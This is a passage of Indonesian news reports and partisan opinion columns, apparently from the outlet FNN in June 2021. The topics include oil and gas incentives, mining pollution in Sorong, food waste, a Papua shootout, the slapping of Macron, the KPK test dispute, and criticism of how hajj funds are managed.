pajak penghasilan, penghapusan biaya pemanfaatan kilang gas alam cair Badak, penundaan atau penghapusan pajak pertambahan nilai gas alam cair, dan penghapusan biaya sewa barang milik negara hulu migas. Selain itu ada juga stimulus penundaan atau pengurangan hingga 100 persen pajak tidak langsung, gas bisa dijual dengan harga diskon untuk semua skema di atas take or pay dan Daily Contract Quantity, fleksibilitas kebijakan fiskal, serta pembahasan pajak bagi usaha penunjang kegiatan hulu migas. Kepala SKK Migas Dwi Soetjipto mengatakan dari sembilan stimulus tersebut sudah ada enam stimulus yang telah mendapatkan persetujuan dari pemerintah. Salah satu bentuk kelonggaran investasi di hulu migas, lanjut dia, adalah beberapa Kontraktor Kontrak Kerja Sama Migas (KKKS) bisa melakukan monetisasi potensi migas yang dikelola oleh mereka. "Saat ini juga sudah di bangun one door service policy. Jadi, sekarang begitu banyak aspek diusahakan agar investasi bisa berjalan dengan baik," ucap Dwi. (sws)

KKP Ajak Tangani Kerusakan Perairan Akibat Pertambangan di Sorong

Jakarta, FNN - Kementerian Kelautan dan Perikanan (KKP) mengajak berbagai instansi untuk berkolaborasi dalam menangani potensi pencemaran dan kerusakan perairan akibat aktivitas pertambangan di sekitar daerah Tanjung Saoka, Kota Sorong, Provinsi Papua Barat. "Kolaborasi ini merupakan bentuk sinergi antar lembaga dalam menyikapi permasalahan pencemaran di Tanjung Saoka," kata Plt. Direktur Jenderal Pengawasan Sumber Daya Kelautan dan Perikanan, Antam Novambar dalam siaran pers di Jakarta, Rabu. Ia mengemukakan KKP menggandeng Kemenkopolhukam, Kementerian LHK, Kementerian ESDM, Kementerian ATR/BPN, Kementerian Perhubungan, Pemerintah Provinsi Papua Barat, Pemerintah Kota Sorong dan Komisi Pemberantasan Korupsi, dalam menangani potensi pencemaran dan perusakan perairan akibat aktivitas tambang galian C di daerah tersebut. Lebih lanjut Antam menjelaskan bahwa dengan kolaborasi antar instansi ini diharapkan akan ada pendekatan yang lebih komprehensif dalam penanganan permasalahan pencemaran yang diakibatkan oleh aktivitas pertambangan tersebut. "Kami harap pendekatan penyelesaiannya lebih komprehensif. Ada beberapa hal yang perlu ditindaklanjuti oleh masing-masing instansi," ujar Antam. Sementara itu, Plt. Direktur Pengawasan Pengelolaan Sumber Daya Kelautan Matheus Eko Rudianto, yang memimpin langsung rapat koordinasi dan inspeksi lapangan, menyampaikan bahwa KKP melalui Loka Pengelolaan Sumber Daya Pesisir dan Laut Sorong menerima laporan dugaan pencemaran perairan akibat tambang Galian C yang dilakukan salah satu perusahaan yang melakukan kegiatan penambangan. "Setelah dilakukan analisis lebih dalam, dan mendengarkan laporan dari berbagai instansi diduga ada beberapa hal yang perlu didalami potensi pelanggarannya antara lain terkait dengan dampak penambangan terhadap kawasan wisata dan nelayan," terang Eko. Sementara itu, Ketua Satgas Korsuv Wilayah V Komisi Pemberantasan Korupsi Dian Patria mengharapkan pemerintah pusat dan pemerintah daerah dapat menciptakan sinergi dalam penanganan dampak yang ditimbulkan dari kegiatan tambang tersebut. Hal senada juga disampaikan oleh Pemerintah Kota Sorong yang berharap agar permasalahan ini dapat diselesaikan secara win-win solution, mengingat kegiatan usaha tambang yang ada saat ini memberikan dampak ekonomi kepada masyarakat lokal, khususnya di Kota Sorong. Selain berkoordinasi dengan sejumlah instansi terkait, KKP juga melakukan peninjauan lapangan ke Tanjung Saoka, lokasi dugaan terjadinya pencemaran perairan dan perusakan pesisir oleh aktivitas tambang Galian C. Ada 5 perusahaan yang ditinjau dalam kegiatan inspeksi lapangan tersebut pada Senin (7/6). (sws)

Kepala Bappenas: Limbah Makanan Capai 48 Juta Ton Per Tahun

Jakarta, FNN - Menteri Perencanaan Pembangunan Nasional/ Kepala Bappenas Suharso Monoarfa menyampaikan bahwa timbulan dari limbah makanan yang terbuang atau food loss and waste di Indonesia pada 2000-2019 mencapai 23-48 juta ton per tahun atau setara 115-184 kilogram/kapita/tahun. Menteri Suharso menyampaikan data tersebut merupakan hasil analisis dari kolaborasi antara pemerintah Indonesia dengan Foreign Commonwealth Office dari Inggris mengenai food loss and waste di Indonesia selama 20 tahun terakhir. “Tentu ini menimbulkan dampak dari aspek lingkungan, timbulan tersebut menghasilkan emisi total gas rumah kaca yang mencapai 1.702,9 Mega ton CO2-ek,” kata Menteri Suharso dalam webinar daring di Jakarta, Rabu. Selain itu, lanjut Suharso, food loss and waste tersebut juga berdampak pada ekonomi yang mencapai Rp213-551 triliun per tahun atau setara dengan 4-5 persen PDB Indonesia. Sedangkan dampak dari sisi sosial adalah kehilangan kandungan energi yang setara dengan porsi makan 61 hingga 125 juta orang atau 29-47 persen populasi Indonesia. Laporan dari The Global Hunger Index menyatakan indeks kelaparan Indonesia menduduki peringkat moderat (sedang) setelah lima tahun berturut-turut masuk dalam kategori serius. Suharso mengatakan permintaan terhadap kebutuhan pangan tinggi namun ketersediaan pangan terbatas akibat pembatasan mobilitas selama pandemi COVID-19. Karenanya identifikasi food loss and waste diperlukan untuk merencanakan dan mengembangkan upaya untuk memperkecil jarak tersebut. “Pemerintah Indonesia telah memperkuat komitmennya melalui kebijakan pembangunan rendah karbon yang tercantum dalam berbagai peraturan termasuk dalam rencana pembangunan menengah nasional 2020-2024,” ujar Suharso. Ia menuturkan bahwa Indonesia juga berkomitmen mengurangi dan melakukan penanganan sampah termasuk sampah makanan dengan target 30 persen untuk pengurangan dan 70 persen untuk penanganan pada 2025 melalui kebijakan dan strategi pengelolaan sampah rumah tangga dan sampah sejenis rumah tangga. Oleh karena itu, kata dia, kondisi pandemi COVID-19 yang masih berlangsung, mendorong Indonesia untuk memanfaatkan pemulihan nasional pasca pandemi untuk membangun negara secara lebih baik dan berkelanjutan. “Salah satunya dimulai dengan transisi bertahap dari ekonomi konvensional menjadi ekonomi sirkular termasuk di dalamnya isu food loss and waste. Ini tentu penting mengingat permasalahan sampah yang dihadapi Indonesia merupakan isu kompleks yang memerlukan penanganan secara terintegrasi,” tutur dia. (sws)

KKB Bakar Rumah Warga, 1 Pelaku Mati Ditembak Aparat

Ilaga, FNN - Baku tembak antara Kelompok Kriminal Bersenjata (KKB) dengan TNI-Polri kembali terjadi di kawasan Bandara Amigaru, Ilaga, Kabupaten Puncak, Papua. Kasatgas Humas Operasi Nemangkawi Kombes Pol Iqbal Alqudusy mengatakan, kontak tembak terjadi pada Senin 7 Juni 2021. Saat itu personil gabungan TNI-Polri tengah melaksanakan patroli yang dipimpin Kapolres Kompol Nyoman dan Dandim Letkol Rofi Irwansah. "Sekaligus merespon bunyi tembakan di Sekitar Bandara Ilaga Kabupaten, Puncak," kata Iqbal dalama keterangan tertulisnya, Selasa 8 Juni 2021. Pasukan gabungan TNI Polri menembak seorang anggota kelompok kriminal bersenjata (KKB) yang diduga melakukan aksi anarkistis. Komplotan tersebut kembali membakar rumah di sekitar area Bandara Aminggaru Ilaga. Penyergapan ini berawal saat tim sedang patroli pada Senin (7/6/2021) malam. Lalu terdengar suara tembakan senjata api, sehingga pasukan mengecek sumber suara. Patroli ini dipimpin langsung Kapolres Puncak Kompol I Nyoman Punia dan Dandim Letkol Rofi Irwansah. Begitu petugas datang, KKB terus menembaki aparat. Namun tim mendapati celah untuk menembak, lalu mendapati seorang diduga anggota KKB bersembunyi di samping rumah, sambil memegangi senjata api. TNI Kerahkan 2 Kompi Yonif Raider Khusus Personel Satgas Operasi Nemangkawi langsung melepaskan tembakan ke arah pelaku dan mengenai pahanya. Namun gerombolan KKB ini dapat melarikan diri. "Sampai malam ini tim masih menyisir dan mengejar KKB yang membawa rekannya dalam kondisi tertembak," kata Kasatgas Humas Operasi Nemangkawi, Kombes Pol Iqbal Alqudusy dalam keterangannya, Selasa (8/6/2021). Tercatat ada sejumlah rumah di sekitar area kontak tembak, areal Bandara Aminggaru Ilaga sudah hangus terbakar. Namun tidak ada korban jiwa dari masyarakat sipil. **

Presiden Perancis Ditampar di Tempat Umum

Jakarta, FNN - Kejadian tak terduga dialami Presiden Prancis Emmanuel Macron. Ia ditampar seorang pria saat melakukan kunjungan kerja ke Tan-l'Hermintage di luar kota Valence, Drome, Prancis, Selasa (8/6/2021). Dari video yang viral di Twitter, Macron kala itu tengah menemui kerumunan warga yang dibatasi garis pembatas guna menanyakan dampak pandemic Covid-19. Namun sayangnya, seorang warga yang hendak dirangkulnya justru memberikan tamparan ke wajah kirinya. BFM TV dan radio RMC melaporkan bahwa dua orang telah ditangkap. Perdana Menteri Jean Castex mengatakan, serangan itu merupakan penghinaan terhadap demokrasi. Kejadian memalukan ini bermula ketika Macron sedang melakukan kunjungan ke wilayah Drome di Prancis tenggara. Dalam kesempatan tersebut, ia bertemu dengan pemilik restoran dan siswa untuk berbicara tentang kembalinya kehidupan yang normal setelah pandemi Covid-19. Macron terlihat berjalan menuju kerumunan simpatisan yang berdiri di belakang pagar penghalang. Ia mengulurkan tangannya untuk menyapa seorang pria yang mengenakan kaus berwarna hijau, kacamata dan masker. Pria itu terdengar berteriak "Ganyang Macronia" ("A Bas La Macronie") dan kemudian menampar wajah Macron. Pria itu juga terdengar meneriakkan "Montjoie Saint Denis", seruan perang tentara Prancis ketika negara itu masih berbentuk monarki. Dua petugas keamanan Macron langsung menangani pria berkaus hijau tersebut. Sementara pengawal keamanan yang lain membawa Macron pergi. Macron tetap berada di sekitar kerumunan untuk sesaat, dan memberi isyarat kepada seseorang di sisi lain penghalang sebelum pengawal keamanan memindahkannya. Identitas dan motif pelaku yang menampar Macron masih belum diketahui. Istana Elysee mengatakan telah ada upaya untuk menyerang Macron, tetapi menolak berkomentar lebih lanjut. Sebelumnya pada 2016, Macron yang saat itu menjabat sebagai menteri ekonomi, dilempari telur oleh anggota serikat buruh sayap kiri. Insiden pelemparan telur dilakukan selama pemogokan yang menentang reformasi perburuhan. Macron menggambarkan insiden itu sebagai sesuatu yang telah dia prediksi. Dua tahun kemudian, pengunjuk rasa "rompi kuning" anti-pemerintah mencemooh Macron dalam sebuah insiden. Menurut sekutu pemerintah, insiden itu membuat presiden terguncang. **

Sikap Menpan RB Tak Selaras dengan Keinginan Publik

Jakarta, FNN - Guru Besar Universitas Islam Negeri Syarif Hidayatullah (UIN), Azyumardi Azra menilai sikap Menteri Pendayagunaan Aparatur Sipil Negara dan Reformasi Birokrasi (Menpan-RB) Tjahjo Kumolo tidak selaras dengan keinginan publik. Adapun ketidakselarasan yang di maksud Azyumardi yakni terkait ucapan Tjahjo dalam menyikapi ketidakhadiran pimpinan Komisi Pemberantasan Korupsi (KPK) saat dipanggil oleh Komisi Nasional Perlindungan Hak Asasi Manusia (Komnas HAM). Pimpinan KPK dipanggil Komnas HAM terkait adanya pelaporan dugaan pelanggaran HAM dalam proses peralihan pegawai menjadi aparatur sipil negara (ASN) pada tahapan tes wawasan kebangsaan (TWK). "Saya kira sikap Menpan-RB itu tidak selaras dengan keinginan publik agar dugaan pelanggaran HAM dalam TWK KPK dapat diselesaikan," kata Azyumardi kepada Kompas.com, Selasa (8/6/2021). Menurut Azra, Tjahjo juga secara implisit tidak mendukung keinginan publik untuk adanya KPK yang kredibel, adil dan kuat dalam pemberantasan korupsi. Sementara terkait ketidakhadiran pimpinan KPK dalam saat dipanggil oleh Komnas HAM, Azyumardi menilainya sebagai sikap defensif. "Sikap pimpinan KPK itu mencerminkan sikap defensif dan ketiadaan political will. Harusnya pimpinan KPK bersedia dialog dengan Komnas HAM dan LSM-LSM lain untuk memperbaiki KPK," ujar dia. MenPAN-RB Tjahjo Kumolo mendukung sikap pimpinan KPK yang tak hadir ke Komnas HAM terkait polemik tes wawasan kebangsaan (TWK) yang dilaporkan sejumlah pegawai KPK. Tjahjo mempertanyakan apa hubungan kewarganegaraan dengan pelanggaran HAM. "Kami juga mendukung KPK misalnya tidak mau hadir di Komnas HAM. Apa urusan kewarganegaraan itu urusan pelanggaran HAM?" kata Tjahjo saat rapat dengar pendapat dengan Komisi II DPR RI di kompleks parlemen, Senayan, Jakarta, Selasa (8/6/2021). Tjahjo juga menyinggung penelitian khusus (litsus) pada zaman Orde Baru. Dia mengatakan aturan mengenai alih ASN itu sama aturannya. "Zaman saya litsus tahun '85 mau masuk anggota DPR itu, dulu kan fokus PKI, sekarang kan secara luas secara kompleks. Dari sisi aturan itu, saya kira Pak Syamsul yang pernah jadi panitia litsus dan Pak Cornelis emang dari bawah sama plek aturannya. Jadi memang data ASN memang sama," kata dia. Sebelumnya, Komnas HAM memanggil para pimpinan KPK terkait dugaan pelanggaran HAM dalam TWK alih status menjadi ASN. Namun pimpinan KPK tak mau hadir dan meminta penjelasan dugaan pelanggaran yang dimaksud.*)

Brutus di Sekeliling Jokowi, Sikat Saja

Istana yang kotor saatnya dibenahi. Ganti para penghuni dengan orang yang lebih cerdas, jujur, dan suci. Sekurang-kurangnya manusia yang memiliki hati nurani. Oleh M Rizal Fadillah Bandung, FNN - Ketika Menkopolhukam Mahfud MD menyatakan bahwa korupsi kini lebih gila daripada masa Orde Baru, warga masyarakat berbicara dalam hati, ya berantas saja, Pak. Tugas Pemerintah itu bukan beropini atau membuat indikasi, tetapi dengan otoritas yang dimilikinya menumpas korupsi yang dilihat dan diketahuinya itu. Pemerintah memiliki kekuasaan untuk memerintahkan seluruh perangkatnya termasuk aparat penegak hukum. Saat ini muncul pula pernyataan dari Jokowi Mania (Joman) bahwa Brutus korup berada di sekeliling Jokowi. Tentu saja mudah untuk dijawab sama dengan kepada Mahfud MD, yaitu tumpas dan singkirkan Brutus-Brutus itu. Jokowi sebagai Presiden punya kewenangan besar. Jika membiarkan mereka maka muncul dugaan bahwa Jokowi tersandera atau mungkin berada dalam komplotan yang sama-sama korup. Agar tidak menjadi yang terakhir, maka Jokowi harus berani dan punya nyali untuk menyingkirkan para pencuri itu. Bagus sebenarnya Joman pimpinan Noel menginformasikan keberadaan Brutus. Kiranya hal ini tersampaikan pada Jokowi. Aturlah strategi bagaimana mengatasi para Brutus itu. Prinsipnya tentu "kill or to be killed". Nah sebelum Jokowi yang disingkirkan maka tak ada jalan lain selain mereka yang harus segera disingkirkan Penghianat istana tentu berbahaya meski penghianat negara jauh lebih berbahaya. Siapapun, apakah pejabat negara biasa, anggota DPR, Menteri, bahkan Presiden jika melakukan korupsi, maka harus disikat. Kini KKN, sebagaimana sinyalemen Mahfud MD, sudah semakin menggila. Lucu dan sayangnya justru Pemerintah sendiri yang melemahkan sapu pembersih korupsi. KPK yang telah dikebiri habis. Jadi banci kemayu. Dalam drama Julius Caesar karya William Shakespeare digambarkan pemberontakan nyata orang sekitar istana. Julius Caesar terbunuh oleh penghianatan lingkungan. Caesar tidak menyangka temannya Brutus ikut dalam komplotan, sehingga kaget ketika mengetahui Brutus ikut membunuhnya "Et tu Brute ?" Bahkan, engkau Brutus ? Brutus Istana Merdeka yang dinilai korup sudah terdeteksi sejak dini baik identitas, karakter, hingga ambisinya. Pisau pembunuhnya pun sudah diketahui. Jadi berbeda dengan Brutus drama Shakespiere yang tak disangka dan mengagetkan Caesar sehingga ia harus berujar "Et tu Brute ?" Karenanya, ayo Pak Jokowi berantas habis itu Brutus Brutus korup penghianat Istana, penghianat negara, dan penggerus uang rakyat. Jangan biarkan mereka menggila, sebab kejahatannya sangat luar biasa. Membangun budaya yang merusak karakter dan moral bangsa. Jawab keraguan dan penilaian rakyat bahwa sebenarnya Pak Jokowi itu sama saja sebagai komplotan "destroyer" perusak negara. Karenanya deklarasikan segera pemberantasan KKN dan jalankan secara konsisten dengan keteladanan. Anak cucu famili dan kroni yang korupsi habisi. Rakyat akan mendukung operasi implementasi deklarasi. Akan tetapi jika itu hanya basa-basi, maka keraguan rakyat memang terbukti. Korupsi sudah ke sana-sini termasuk kepada diri sendiri. Tak ada pilihan lain selain harus bunuh diri. Caesar dibunuh dan Brutus pun akhirnya mati bunuh diri. Istana yang kotor saatnya dibenahi. Ganti para penghuni dengan orang yang lebih cerdas, jujur, dan suci. Sekurang-kurangnya manusia yang memiliki hati nurani. Bukan hewan yang buta dan tuli atau hantu yang hanya wara wiri di ruang tersembunyi. Tak berani membangun silaturahmi dengan rakyat yang lapar, miskin, menganggur. Berteriak serak menyampaikan aspirasi. Istana mendesak untuk dicuci atau direkonstruksi, penghuninya layak untuk segera diganti. Meliorem domum habitator--Perbaiki penghuni Istana ! Penulis, Pemerhati Politik dan Kebangsaan

Tidak Pernah Solid, Suara NU tak Boleh Diremehkan

Beberapa "oknum politisi" sering memainkan emosi warga NU dengan mengangkat isu-isu yang sensitif semacam ini. Misalnya: "dia Wahabi, dia nggak qunut, dia anti ziarah kubur, dan sederet lainnya". Setiap pemilu, isu ini suka ada yang mengangkatnya. Bagi warga NU, terutama di pelosok-pelosok desa, ini bisa berpengaruh sangat kuat pada pilihan politik. By Tony Rosyid Jakarta, (FNN) - SEJAK 1984, NU (Nahdlatul Ulama) kembali ke Khittah. Artinya, tidak terlibat lagi dalam politik praktis. Meski demikian, secara struktural, NU selalu digoda dan ditarik-tarik ke politik praktis. Dalam konteks Khittah, banyak yang menilai, PBNU dianggap kurang tegas. Banyak aktor struktural yang bermain mata dan terang-terangan terlibat dalam politik praktis. Terutama dalam proses pemilu. Kepada mereka, tidak ada teguran atau saksi organisatoris. Akan tetapi, inilah khas dan keunikan NU. Ikatan dan solidaritas sosial berbasis kulturalnya yang lebih kental. NU adalah organisasi terbesar di Indonesia. Jumlah anggotanya sekitar 108 juta atau 49,5 persen dari total penduduk Indonesia. Jumlah tersebut berarti 87,8 persen dari total jumlah umat Islam di tanah air. Termasuk diantaranya adalah aktifis eks FPI (Front Pembela Islam). Apakah mereka semua punya keanggotaan resmi organisasi? Tentu tidak. Secara politik, massa NU sangat cair. Tidak satu komando. Ribuan hingga jutaan ulama, masing-masing punya pengaruh. Termasuk dalam urusan politik. Gus Dur (alm) punya pengaruh, K.H. Maemoen Zubair (alm) punya pengaruh, Habib Luthfi punya pengaruh, Ustaz Abdussomad punya pengaruh, begitu juga ulama-ulama yang lain. Mereka semua yang masuk ulama NU. Sebagian berafiliasi ke PKB, sebagian ke PPP, dan ada yang pilih PKS. Ke partai-partai lain juga ada. Maka, PKB yang diklaim sebagai partainya wong NU, tidak sepenuhnya dipilih oleh warga NU. Perolehan suara PKB di Pemilu 2019 hanya 13.570.097 (9,69 %). Ini bukti, warga NU dalam urusan politik sangat heterogen. Maksudnya: tidak solid. Apakah ini karena faktor NU telah kembali ke Khittah? Tidak juga. Sebab, tahun 1955, partai NU juga tidak menang dalam pemilu. Hanya mendapatkan suara 6.989.333. Ini lebih disebabkan karena ikatan solidaritas dan emosional warga NU itu bersifat kultural. Tidak dalam komando struktural. Konsekuensinya, banyak tokoh yang masing-masing menggunakan pengaruhnya, baik secara lokal maupun nasional, terkait dengan urusan politik praktis. Akab tetapi satu hal, jangan pernah membuat tersinggung warga NU. Baik menyinggung organisasinya, ajarannya, ritualnya, atau tokohnya. Sekali Anda masuk dalam isu itu, kelar! Ini wilayah sakral dan sangat sensitif. Untuk empat isu ini, warga NU kompak. Partai dan para politisi sudah sangat memahami hal tersebut. Kalau tidak, ini akan jadi resistensi cukup berarti dalam relasi sosial dan politik. Beberapa "oknum politisi" sering memainkan emosi warga NU dengan mengangkat isu-isu yang sensitif semacam ini. Misalnya: "dia Wahabi, dia nggak qunut, dia anti ziarah kubur, dan sederet lainnya". Setiap pemilu, isu ini suka ada yang mengangkatnya. Bagi warga NU, terutama di pelosok-pelosok desa, ini bisa berpengaruh sangat kuat pada pilihan politik. Cairnya suara NU itu hal yang berbanding lurus dengan semangat Khittah. Hanya saja, godaan berpolitik praktis di struktural mesti dikendalikan, bila perlu ditertibkan. Ini bagian dari bentuk komitmen Khittah. Di samping permainan isu sensitif bagi warga NU yang semestinya dihindari, supaya tidak ada yang berselancar dan mengambil keuntungan dari isu ini. Sekaligus ini penting sebagai upaya menjaga hubungan baik dengan ormas dan kelompok di luar NU. Menjaga stabilitas ukhuwah kebangsaan dan memelihara keutuhan NKRI. ** Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Amandemen UUD 1945 Kebiri Hak Non-Partisan

SURABAYA, (FNN) -Amandemen ke-5 UUD 1945 yang diwacanakan Dewan Perwakilan Daerah (DPI) RI, merupakan sebuah ikhtiar untuk mengembalikan atau memulihkan hak konstitusional DPD RI dalam mengajukan pasangan calon presiden dan calon wakil presiden (capres-cawapres). Sebab, amandemen yang sudah dilakukan empat kali (dari 1999 sampai 2002) telah mengebiri hak bagi non-partisan.maju sebagai calon RI1 dan calon RI-2. Hal tersebut disampaikan Ketua DPD RI, AA LaNyalla Mahmud Mattalitti dalam focus group discussion (FGD) di Universitas Airlangga, Surabaya, Selasa (8/6/2021). Para pembicara dalam acara tersebut antara lain Prof Kacung Marijan (Guru Besar Ilmu Politik Universitas Airlangga), Prof Badri Munir Sukoco (Direktur Sekolah Pascasarjana Unair) dan Dr Rahadian Salman (Koordinator Prodi Magister Hukum dan Pembangunan Sekolah Pascasarjana Unair). Senator yang mendampingi Ketua DPD Sylviana Murni (Ketua Komite III DPD), Bustami Zainudin ( Wakil Ketua Komite II), Eni Sumarni (senator Jawa Barat) dan Adilla Azis (senator Jatim). LaNyalla mengatakan, pihaknya mewacanakan amandemen UUD 1945 yang ke lima sebagai pemulihan. “Disebut memulihkan karena bila melihat sejarah perjalanan lembaga legislatif, hilangnya hak DPD RI untuk mengajukan kandidat capres-cawapres adalah kecelakaan hukum yang harus dibenahi,” tuturnya. Dijelaskan Senator asal Jawa Timur ini, sebelum amandemen UUD 1945 terdahulu, presiden dan wakil presiden dipilih oleh Majelis Permusyawaratan Rakyat (MPR). MPR saat itu terdiri atas DPR dan Utusan Daerah serta Utusan Golongan. Artinya, baik DPR selaku Anggota MPR maupun Anggota MPR dari unsur Utusan Daerah sama-sama memiliki hak mengajukan calon. Kemudian pada amandemen ketiga UUD 1945, DPD RI lahir menggantikan utusan daerah dan utusan golongan dihilangkan. “DPD RI lahir melalui amandemen ketiga, menggantikan Utusan Daerah. Maka, hak-hak untuk menentukan tata kelembagaan di Indonesia seharusnya tidak dikebiri. Termasuk hak mengajukan capres-cawapres,” ujarnya. Lagipula, kata LaNyalla, DPD memiliki legitimasi yang kuat. Menurutnya, bola Utusan Daerah dipilih secara eksklusif oleh anggota DPRD Provinsi, maka anggota DPD dipilih melalui pemilihan umum secara langsung oleh rakyat. “Ini menjadikan DPD sebagai lembaga legislatif Non-Partisan yang memiliki akar legitimasi kuat. Sehingga hak DPD untuk mengajukan calon presiden dan wakil presiden adalah rasional,” tegas LaNyalla. Ketua DPD RI pun berbicara mengenai hasil survei Akar Rumput Strategis Consulting (ARSC) yang dirilis pada 22 Mei 2021 lalu. Dari hasil tersebut ditemukan bahwa 71,49% responden ingin calon presiden tidak harus dari kader partai. Sementara itu hanya 28,51% yang menginginkan calon presiden dari kader partai. LaNyalla menilai hasil studi tersebut harus direspons dengan baik. “Seharusnya DPD bisa menjadi saluran atas harapan 71,49% responden dari hasil survei ARSC yang menginginkan calon presiden tidak harus kader partai. Makanya saya menggagas bahwa Amandemen ke-5 nanti, harus kita jadikan momentum untuk melakukan koreksi atas arah perjalanan bangsa,” ujarnya dalam siaran pers yang diterima FNN.co.id, Selasa, 8 Juni 2021. (SP) **

Tragedi Duit Haji

BUKAN kali ini saja, duit calon haji sudah menjadi kecurigaan umat. Jauh sebelum Menteri Agama Yaqut Cholil Qoumas mengumumkan pembatalan pemberangkatan haji pada 3 Juni 2021, duit haji telah jadi misteri. Rezim boleh saja membantah bahwa duit haji tidak disalahgunakan. Tetapi empat tahun yang lalu, Presiden Jokowi memerintahkan kepada Kepala Badan Pelaksana Pengelola Keuangan Haji (BPKH) Anggito Abimanyu untuk mengelola dana haji biar lebih produktif. “BPKH siap menjalankan instruksi Presiden Joko Widodo untuk menginvestasikan dana haji sebesar Rp 80 Triliun, 80 persen (dari total dana haji)," kata Anggito seusai dilantik sebagai Anggota BPKH oleh Presiden Joko Widodo, di Istana Negara, Jakarta, Rabu (26/7/2017). Demikian juga Ma’ruf Amin. Melalui juru bicara Masduki Baidlowi, Wapres menyarankan dana haji bisa dimasukkan ke investasi-investasi saham yang menguntungkan pemerintah, yang sangat terjamin amannya, “Itu boleh. Kira-kira begitu waktu itu," lanjut Masduki saat memberi klarifikasi beredarnya video Wapres tentang dana haji, di Jakarta Senin (7/6/2021). Sejak pembentukan BPKH umat bertanya-tanya, mengapa duit haji dipakai seenaknya. Bukankah dana haji diperuntukkan hanya bagi kepentingan ibadah. Kini setelah ribut soal dana haji, pemerintah kembali ngeles bahwa dana haji aman. BPKH dalam laman resminya mengungkapkan, selama tiga tahun mengelola dana haji telah berhasil membukukan peningkatan dana kelolaan, meski berada pada situasi yang tidak mudah akibat pandemi Covid-19 dan kontraksi ekonomi. Pada 2020, saldo dana haji yang dikelola BPKH sebesar Rp 143,1 triliun atau meningkat 15,08%. Angka ini meningkat dibandingkan tahun 2019 yang sebesar Rp 124,32 triliun. Realisasi tersebut juga telah melebihi target dana kelolaan yang ditetapkan oleh BPKH tahun 2020 sebesar Rp 139,5 triliun. Terkait instrumen dana kelolaan tahun 2020, sebesar Rp 99,53 triliun atau mencakup 69,6% untuk diinvestasikan, dan sisanya 30,4% atau Rp 43,53 triliun ditempatkan di bank syariah. Sebetulnya calon jamaah haji tidak butuh penjelasan teknis yang njlimet dan bikin mumet. Calon jamaah tidak butuh pengetahuan tentang valas, sukuk, surat utang atau investasi lainnya. Mereka hanya butuh kejujuran, mengapa saatnya berangkat tidak bisa berangkat. Itu saja. Calon jamaah haji tidak semuanya melek ekonomi. Mereka bukan mau berwisata. Uang yang mereka setorkan bukan untuk dibungakan, apalagi main valas yang tentu saja mengandung unsur judi. Mereka juga percaya kepada pengelola haji yang notabene adalah pemerintah. Mereka yakin pemerintah tidak akan jahat seperti pengelola First Travel, arisan berantai dan investasi bodong lainnya. Oleh karena itu, jujurlah wahai rezim. Kepercayaan mahal harganya. Pepatah mengatakan, "Sekali lancung ke ujian, seumur hidup orang tak percaya." Pengingkaran inilah yang bikin kecewa umat. Ada puluhan ribu calon haji yang petani miskin, tukang bubur, dan pekerja kasar lainnya. Setiap keping rupiah, mereka sisihkan demi memenuhi rukun Islam kelima sebagai umat yang taat. Jika tiba-tiba pemerintah membatalkan ibadah suci tersebut, jelas menjadi pertanyaan besar. Mengapa pemerintah tidak mendata berapa jumlah calon haji yang lansia, sepuh, dan tak berdaya untuk diprioritaskan? Bukankah pengelolaan ibadah haji sudah seusia dengan republik ini? Sangat absurd jika alasan terlalu mepet waktunya untuk persiapan sehingga haji harus dibatalkan. Bukankah pandemi ini sudah memasuki tahun kedua? Mengapa pemerintah tidak menyiapkan skenario ibadah haji di tengah pandemi? Yang terjadi justru pemerintah sibuk berkilah, cari-cari alasan, dan ngeles. Saking terdesaknya, pemerintah mengizinkan dana haji ditarik kembali. Sungguh tawaran yang aneh. Apalagi para calon haji sesungguhnya hanya punya satu tujuan yakni berhaji. Bukan bertujuan ambil duit. Tidak elok menarik kembali duit haji. Akan tetapi, tawaran tersebut lagi-lagi curang, yang boleh ditarik hanya biaya pelunasan. Bagaimana dengan duit Rp 25 juta yang sudah mengendap selama 15 tahun, apakah boleh diambil? Jika demikian, salahkah jika umat menduga dana haji zonk? Tampak sekali rezim punya tabiat tukang pungut. Mereka memungut apa saja. Mereka mengincar duit yang ada di kantong rakyat. Ada saja target yang dipungut, dari pembelian permen hingga donasi kemanusiaan. Dari biaya admin transaksi bank hingga pajak penghasilan. Dari kotak amal hingga dana haji. Ini preseden buruk bagi generasi yang akan datang. Rezim tak kreatif menghasilkan uang, selain melakukan pungutan. Wajar jika calon jamaah haji pun geram. Mana lebih produktif, apakah investasi dikelola pemerintah atau dikelola umat sendiri. Sejauh ini setiap calon haji harus setor dana sebesar Rp 25 juta. Masa tunggu berkisar 10-20 tahun. Bahkan kini ada yang 30 tahun. Jika uang Rp 25 juta itu dibuat usaha jualan martabak, maka akan menghasilkan 3 gerobak martabak plus bahan bakunya. Jika setiap gerobak martabak menghasilkan keuntungan Rp 2 juta per bulan, maka akan terkumpul Rp 6 juta. Dalam setahun bisa terkumpul Rp 72 juta. Sepuluh tahun Rp 720 juta per jamaah. Di Indonesia ada 450. 000 calon jamaah haji. Fantastis. Jauh lebih menguntungkan ketimbang main valas, bukan? Belum lagi jika dana itu dipakai buat beternak kalajengking seperti saran Presiden Jokowi. Harga racun scorpion itu mahal, 1 (satu) liter mencapai Rp 150 miliar. Wow menarik sekali. Bisa dibayangkan berapa keuntungan umat jika dana haji dikelola sendiri. Ongkos naik haji dibayar sebelum keberangkatan saja. Pemerintah boleh berargumen, namun umat tidak akan pernah percaya. Rezim boleh teriak dana haji aman, tapi rakyat berhak bertanya mengapa sampai dua kali musim haji selalu gagal dan batal. Mengapa negara-negara lain bisa berhaji. Sederhana saja. Motor titipan tidak boleh dipakai oleh pengelola untuk ngojek apalagi motornya kemudian digelapkan. Demikian juga dana titipan harus siap dikembalikan manakala dibutuhkan oleh penitip, tidak boleh dipakai untuk keperluan apa pun. Ke mana duit haji? Mengapa tidak juga diaudit? Mengapa donasi untuk Palestina yang cuma Rp 39 miliar ngotot mau diaudit? Sementara dana haji yang mencapai ratusan triliun dibiarkan? Sejak kapan umat menyatakan ikrarnya bahwa dana haji untuk infrastruktur, valas atau sukuk? Para calon haji tidak pernah menyatakan dana haji dipakai buat selain haji. Mereka percaya pemerintah menjaga dana umat apalagi untuk kepentingan ibadah wajib. Jika pada saatnya ibadah harus ditunaikan tetapi tidak bisa dilakukan karena duitnya gak ada, apakah ini bukan upaya menghalang- halangi umat untuk beribadah dan menjalankan keyakinan? Apakah ini bukan pelanggaran hak asasi manusia? Pemerintah bertidaklah secara wajar biar tidak ada prasangka liar. Jangan kebohongan ditutupi dengan kebohongan baru. Jangan 